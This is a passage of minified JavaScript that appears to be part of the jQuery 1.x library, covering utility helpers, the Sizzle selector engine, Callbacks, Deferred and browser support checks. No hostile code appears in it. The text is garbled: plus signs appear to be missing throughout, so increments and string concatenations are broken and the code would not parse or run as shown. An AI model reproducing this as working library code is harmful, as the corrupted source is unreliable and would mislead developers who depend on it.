r=n.length,i=e.length,o=0;if("number"==typeof r){for(;r>o;o  ){e[i  ]=n[o]}}else{while(n[o]!==t){e[i  ]=n[o  ]}}return e.length=i,e},grep:function(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o  ){r=!!t(e[o],o),n!==r&&i.push(e[o])}return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a){for(;o>i;i  ){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}else{for(i in e){r=t(e[i],i,n),null!=r&&(s[s.length]=r)}}return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.guid=e.guid||x.guid  ,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=null==r;if("object"===x.type(r)){o=!0;for(l in r){x.access(e,n,l,r[l],!0,a,s)}}else{if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=function(e,t,n){return c.call(x(e),n)})),n)){for(;u>l;l  ){n(e[l],r,s?i:i.call(e[l],l,n(e[l],r)))}}}return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date).getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t){a[o]=e.style[o],e.style[o]=t[o]}i=n.apply(e,r||[]);for(o in t){e.style[o]=a[o]}return i}}),x.ready.promise=function(t){if(!n){if(n=x.Deferred(),"complete"===a.readyState){setTimeout(x.ready)}else{if(a.addEventListener){a.addEventListener("DOMContentLoaded",q,!1),e.addEventListener("load",q,!1)}else{a.attachEvent("onreadystatechange",q),e.attachEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){return setTimeout(o,50)}_(),x.ready()}}()}}}return n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){c["[object " t "]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f,d,h,g,m,y,v,b="sizzle" -new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=this.length;for(;n>t;t  ){if(this[t]===e){return t}}return -1},B="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0]) ",W=R.replace("w","w#"),$="\\[" P "*(" R ")" P "*(?:([*^$|!~]?=)" P "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" W ")|)|)" P "*\\]",I=":(" R ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" $.replace(3,8) ")*)|.*)\\)|)",z=RegExp("^" P " |((?:^|[^\\\\])(?:\\\\.)*)" P " $","g"),X=RegExp("^" P "*," P "*"),U=RegExp("^" P "*([> ~]|" P ")" P "*"),V=RegExp(P "*[ ~]"),Y=RegExp("=" P "*([^\\]'\"]*)" P "*\\]","g"),J=RegExp(I),G=RegExp("^" W "$"),Q={ID:RegExp("^#(" R ")"),CLASS:RegExp("^\\.(" R ")"),TAG:RegExp("^(" R.replace("w","w*") ")"),ATTR:RegExp("^" $),PSEUDO:RegExp("^" I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" P "*(even|odd|(([ -]|)(\\d*)n|)" P "*(?:([ -]|)" P "*(\\d )|))" P "*\\)|)","i"),bool:RegExp("^(?:" B ")$","i"),needsContext:RegExp("^" P "*[> ~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" P "*((?:-\\d)?\\d*)" P "*\\)|)(?=[^-]|$)","i")},K=/^[^{] \{\s*\[native \w/,Z=/^(?:#([\w-] )|(\w )|\.([\w-] ))$/,et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\([\\da-f]{1,6}" P "?|(" P ")|.)","ig"),it=function(e,t,n){var r="0x" t-65536;return r!==r||n?t:0>r?String.fromCharCode(r 65536):String.fromCharCode(55296|r>>10,56320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.length].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n  ]=t[r  ]){}e.length=n-1}}}function at(e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=n||[],!e||"string"!=typeof e){return n}if(1!==(l=t.nodeType)&&9!==l){return[]}if(h&&!i){if(o=Z.exec(e)){if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parentNode){return n}if(a.id===s){return n.push(a),n}}else{if(t.ownerDocument&&(a=t.ownerDocument.getElementById(s))&&v(t,a)&&a.id===s){return n.push(a),n}}}else{if(o[2]){return M.apply(n,t.getElementsByTagName(e)),n}if((s=o[3])&&r.getElementsByClassName&&t.getElementsByClassName){return M.apply(n,t.getElementsByClassName(s)),n}}}if(r.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toLowerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribute("id",m),m="[id='" m "'] ",u=c.length;while(u--){c[u]=m yt(c[u])}y=V.test(e)&&t.parentNode||t,x=c.join(",")}if(x){try{return M.apply(n,y.querySelectorAll(x)),n}catch(T){}finally{d||t.removeAttribute("id")}}}}return kt(e.replace(z,"$1"),t,n,i)}function st(){var e=[];function t(n,r){return e.push(n =" ")>o.cacheLength&&delete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e){var t=f.createElement("div");try{return !!e(t)}catch(n){return !1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r=e.length;while(r--){o.attrHandle[n[r]]=t}}function pt(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r){return r}if(n){while(n=n.nextSibling){if(n===t){return -1}}}return e?1:-1}function ft(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t= t,lt(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--){n[i=o[a]]&&(n[i]=!(r[i]=n[i]))}})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e){var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.documentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.attachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").length}),r.getElementsByClassName=ut(function(e){return e.innerHTML="<div class='a'></div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClassName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.getElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.parentNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagName?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i  ]){1===n.nodeType&&r.push(n)}return r}return o},o.find.CLASS=r.getElementsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.getElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||g.push("\\[" P "*(?:value|" B ")"),e.querySelectorAll(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t",""),e.querySelectorAll("[t^='']").length&&g.push("[*^$]=" P "*(?:''|\"\")"),e.querySelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector||d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e){r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t){while(t=t.parentNode){if(t===e){return !0}}}return !1},A=d.compareDocumentPosition?function(e,t){if(e===t){return S=!0,0}var i=t.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t){return S=!0,0}if(!o||!a){return e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0}if(o===a){return pt(e,t)}r=e;while(r=r.parentNode){s.unshift(r)}r=t;while(r=r.parentNode){l.unshift(r)}while(s[i]===l[i]){i  }return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matches=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m&&m.test(t)||g&&g.test(t))){try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.document&&11!==e.document.nodeType){return n}}catch(i){}}return at(t,f,null,[e]).length>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCase()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attributes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:a},at.error=function(e){throw Error("Syntax error, unrecognized expression: " e)},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sortStable&&e.slice(0),e.sort(A),S){while(t=e[o  ]){t===e[o]&&(i=n.push(o))}while(i--){e.splice(n[i],1)}}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent){return e.textContent}for(e=e.firstChild;e;e=e.nextSibling){n =a(e)}}else{if(3===i||4===i){return e.nodeValue}}}else{for(;t=e[r];r  ){n =a(t)}}return n},o=at.selectors={cacheLength:50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"}," ":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" " e[3] " "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||at.error(e[0]),e[4]= (e[4]?e[5] (e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]= (e[7] e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.test(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,it).toLowerCase();return"*"===e?function(){return !0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e " "];return t||(t=RegExp("(^|" P ")" e "(" P "|$)"))&&N(e,function(e){return t.test("string"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=at.attr(r,e);return null==i?"!="===t:t?(i ="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" " i " ").indexOf(n)>-1:"|="===t?i===n||i.slice(0,n.length 1)===n "-":!1):!0}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return !!e.parentNode}:function(t,n,l){var u,c,p,f,d,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!l&&!s;if(m){if(o){while(g){p=t;while(p=p[g]){if(s?p.nodeName.toLowerCase()===y:1===p.nodeType){return !1}}h=g="only"===e&&!h&&"nextSibling"}return !0}if(h=[a?m.firstChild:m.lastChild],a&&v){c=m[b]||(m[b]={}),u=c[e]||[],d=u[0]===T&&u[1],f=u[0]===T&&u[2],p=d&&m.childNodes[d];while(p=  d&&p&&p[g]||(f=d=0)||h.pop()){if(1===p.nodeType&&  f&&p===t){c[e]=[T,d,f];break}}}else{if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T){f=u[1]}else{while(p=  d&&p&&p[g]||(f=d=0)||h.pop()){if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&&  f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t)){break}}}}return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: " e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--){i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--){(o=a[s])&&(e[s]=!(t[s]=o))}}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: " e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do{if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang")){return n=n.toLowerCase(),n===e||0===n.indexOf(e "-")}}while((t=t.parentNode)&&1===t.nodeType);return !1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling){if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType){return !1}}return !0},parent:function(e){return !o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n =2){e.push(n)}return e}),odd:ht(function(e,t){var n=1;for(;t>n;n =2){e.push(n)}return e}),lt:ht(function(e,t,n){var r=0>n?n t:n;for(;--r>=0;){e.push(r)}return e}),gt:ht(function(e,t,n){var r=0>n?n t:n;for(;t>  r;){e.push(r)}return e})}},o.pseudos.nth=o.pseudos.eq;for(n in {radio:!0,checkbox:!0,file:!0,password:!0,image:!0}){o.pseudos[n]=ft(n)}for(n in {submit:!0,reset:!0}){o.pseudos[n]=dt(n)}function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e " "];if(c){return t?0:c.slice(0)}s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in o.filter){!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length))}if(!n){break}}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t  ){r =e[t].value}return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C  ;return t.first?function(t,n,i){while(t=t[r]){if(1===t.nodeType||o){return e(t,n,i)}}}:function(t,n,s){var l,u,c,p=T " " a;if(s){while(t=t[r]){if((1===t.nodeType||o)&&e(t,n,s)){return !0}}}else{while(t=t[r]){if(1===t.nodeType||o){if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i){return l===!0}}else{if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0){return !0}}}}}}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--){if(!e[i](t,n,r)){return !1}}return !0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s  ){(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s))}return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--){(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}}if(o){if(i||e){if(i){u=[],c=y.length;while(c--){(p=y[c])&&u.push(m[c]=p)}i(null,y=[],u,l)}c=y.length;while(c--){(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}}else{y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)}})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return !a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l  ){if(n=o.relative[e[l].type]){f=[vt(bt(f),n)]}else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=  l;i>r;r  ){if(o.relative[e[r].type]){break}}return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T =null==C?1:Math.random()||0.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b  ){if(a&&h){g=0;while(m=e[g  ]){if(m(h,l,c)){p.push(h);break}}w&&(T=k,i=  n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v =b,r&&b!==v){g=0;while(m=t[g  ]){m(x,y,l,c)}if(s){if(v>0){while(b--){x[b]||y[b]||(y[b]=q.call(p))}}y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e " "];if(!o){t||(t=mt(e)),n=t.length;while(n--){o=Tt(t[n]),o[b]?r.push(o):i.push(o)}o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r  ){at(e,t[r],n)}return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t){return n}e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type]){break}if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e){return M.apply(n,i),n}break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a  ){if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1){l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return !l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return !u},fireWith:function(e,t){return !l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return !!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a "With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0] "With"](this===i?r:this,arguments),this},i[o[0] "With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1){for(s=Array(r),l=Array(r),u=Array(r);r>t;t  ){n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i}}return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length){return t}s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in {submit:!0,change:!0,focusin:!0}){d.setAttribute(c="on" f,"t"),t[f "Bubbles"]=c in e||d.attributes[c].expando===!1}d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t)){break}return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).